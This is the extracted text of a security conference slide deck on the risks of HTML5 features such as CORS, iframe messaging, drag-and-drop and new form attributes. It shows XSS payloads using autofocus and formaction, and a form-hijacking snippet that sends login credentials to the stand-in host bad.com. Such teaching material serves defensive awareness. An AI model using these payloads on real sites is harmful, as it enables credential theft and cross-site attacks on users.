
Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 1 1/29/2014 Deny All © 2013 1 

HTML5 

a clear & present danger 

Renaud Bidou 

CTO 



Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 2 1/29/2014 Deny All © 2013 2 

Menu 

1. HTML5 new capabilities 

 

2. HTML5 tricks 

 

3. Empowering common threats 

 

4. Hackersôdreams come true 



Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 3 1/29/2014 Deny All © 2013 3 Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 3 

Whatôs new with HTML5 
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ÅProject led by W3C 

 

ÅLatest draft: HTML 5.1 ï May 2, 2013 
ïPrevious : December 17, 2012 

ïPreviously : 13 drafts starting from January 22, 2008 

 

ÅWhy HTML5 ? 
ïMake HTML content natively dynamic 

ïSupport offline mode 

ïIncrease security control and tuning 

ïImprove internals for performance, task parallelization etc. 

HTML5 short history 
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ÅOn-the-fly graphics with the <canvas > tag 

ÅNative MP3, Ogg and Wav audio format 
support with the <audio>  tag 

ÅNative MP4, WebM and Ogg video format 
support with the <video > tag 

ÅDrag & Drop ! with draggable  attribute and 

ondrop  event handler 

ÅEmbedded geolocation with the new 
getCurrentPosition ()  method 

 

New HTML content 
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ÅNew input types through <input type>  attribute 

ïEmail : type="email"  

ïURL: type="url"  

ïNumbers: type=" number " type="range"  

ïDate: type="date" type=" month " type=" week"  

ÅEmbedded format validator  

ïBased on type  attribute value 

ïCan be enforced through the pattern  attribute 

ïCan be disabledé donôt try to understandé 

 

 

Input Validation 

<form  novalidate > 
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New forms inputs 

<input type="email">  

<input type=" url ">  

<input pattern="d{4}"  

          placeholder ="4 digits PIN">  

<input type=" number" min="0" 

max=" 10" step =" 2" value ="6">  
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ÅWeb Workers enable JavaScript background 

processing 

ÅWeb Storage improves local storage to 

extend the cookie concept and natively 

support session-based data handling 

ÅWebApp Cache to enable offline mode of 

Web/Cloud based applications 

ÅServer Sent Events (SSE) enables Server to 

Client communication through the 

established connection 

 

New HTML internals 
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HTML5 new security tricks 
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ÅiFrames sandboxing 

ïforbids forms, scripts, popups, access to cookies, 

local storage 

ïconsiders the content being provided by another 

domain 

 

Å iFrame sandboxes are not set by default 

ïBackward compatibility 

ïsandbox  attribute to be explicitly set without value 

 

iFrame Sandboxing 

<iframe  src ="iframe - source.html" sandbox ="">  

Not natural at all 
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ÅCross-document messaging 

ïprovides mechanism for iframes to communicate with 

parent document 

ïoverrides HTML4 restrictions 

 

Å Implementation failure 

ïParent frame to control sources of messages 

ïRarely (never) performed 

ïOrigin iframe identification not even enforced 

 

 

 

Cross-document messaging 

window.parent.postMessage ('hello', '*');  Origin iFrame ID 

Wildcards are valid 

& Recommended 



Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 12 1/29/2014 Deny All © 2013 12 

ÅSandboxes are not applied 

ïiFrames provide access to local storage 

ïiFrames allows script execution and forms 

 

ÅThanks to cross-document messaging 

ïiFrames communicate with parent window 

iFrame insecurity 

üHTML5 opens doors between iframes and parents 
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ÅCross-Origin Resource Sharing 

ÅRequired for « modern » applications 

ÅBrowsers to handle 3rd party domains content handling 

CORS 

1 2 

Site A Site B 

Main page 

Request for 3rd party content 

HTML5 powered browser 



Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 14 1/29/2014 Deny All © 2013 14 

CORS tricky concept  

ÅCORS « security » controls 

1 2 

Site A Site B GET / HTTP/1.1  

Host: Site_A   

HTTP/1.1 200 OK  

GET /content.htm HTTP/1.1  

Host: Site_B  

Origin : http://Site_A  

HTTP/1.1 200 OK  

Access - Control - Allow - Origin : http://Site_A  

Å rely on 

ïOrigin  and Access - Control - Allow - Origin  headers 

ïRelevant access control implemented on server 

ïClient ė Server trust relationship  

?????????????? 
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Å Access control 

ï No implementation standard 

ï Often set as site-level through includes or left universal 

 

 

 

 

 

Å Preflighted requests 

ï Inform about supported methods  

ï Define security policy set on browser 

ï Responses are cached on client 

 

 

 

 

 

 

CORS Security Issues 

Access - Control - Allow - Origin : *  

ü No reliable access control on server 

ü Browsers will not update their security policy 
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1. CORS obsoletes SOP 

 

The Gig 

ü « Native » browsing on internal networks 

ü Powerful DoS capabilities 

ü Accurate network (IP, port) scan behind the firewall 

ü Etc. 

2. iFrames are out of control 

 

üBrowsers are turned into proxies 
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Empowering usual attacks 
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Å 31 HTML5 new tags  

ï 31 new injections vectors supported by browsers 

 

 

 

Å 52 + 1 HTML5 new script event handlers 

ï 52 on*  injection points 

+ formaction  : will bypass on\ w+= like filters 

 

 

Injections heaven 

<audio> <canvas> <command> <embed> < nav > < param > <source> 

<ruby> <track> <video > é 

<form id="test" />  

<button form=" test" formaction =" javascript:alert (1 )">  

ü Thousands of new evasion combinations 
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Å Self-triggering execution through autofocus  

 

Attributes you will love 

<input type="text" value ="" onfocus =" alert(1)" autofocus>  

<body onscroll =alert(1 )>  

<br ><br ><br ><br ><br ><br >...< br ><br ><br > 

<input autofocus>  

<form  action="" method ="post">  

<input name=" username " value=" admin " />  

<input name=" password " type=" password " value="secret" />  

<input name=" captcha " value =" " dirname =" password "/>  

<input type=" submit ">  

</ form > 

Å Overwrite userinput with dirname  

 

username =admin&password =ltr &captcha = 

ü Stealth user abuses  

ï Can be efficiently combined with appropriate handlers 



Securing & Accelerating Your Applications 1/29/2014 Deny All © 2012 20 1/29/2014 Deny All © 2013 20 

ÅAbusing the D&D API 

ïHave a user drag & drop something 

ÅImage, text, browser element (scrollbar, slider etc.) 

ïSet the value of dragged element to whatever you want 

ÅMalicious data to be submitted on behalf of the user 

ÅConfidential data to be stolen  

ïHave an invisible element follow the mouse 

ïSet the ondrop  event handler of the iFrame to whatever é 

ÅFeed form content (with malicious data) : CSRF  

ÅSend content (stolen data) to 3rd party : Cross-domain data leak 

 

Drag&Drop Jacking 

ü Bypasses cross-domain & CSRF protections 
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ÅExternal forms content definition 

ïThanks to the form  & formaction  attributes 

 

 

 

 

ïCan also be used to bypass CSRF protections 

ïNot that subtile, but still smarter than average usersé 

Sômore Clickjacking 

<form id=' auth ' action='/login'>  

 <input type='text' placeholder ='login'>  

 <br ><input type='password' placeholder ='password'>  

 <br ><input type='submit' value= 'Enteró> 

</form>  

 

<input form=' auth ' type='submit' value='Enter HERE'  

    formaction ='http://bad.com/thanks' > 

ü Trivial data theft & CSRF protections bypass 
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ÅScreenshots with XSS 

ïThanks to <canvas > tagé 

XSS Unleashed 

5. Hacker retrieves screenshot 

2. Malicious Javascript is loaded on Victim 

4. Victim sends 
    screenshot 

3. Victim executes  
    Javascript 

1. Hacker exploits  
    XSS vulnerability  

Hacker 

Vulnerable App Victim Browser 

Relay 


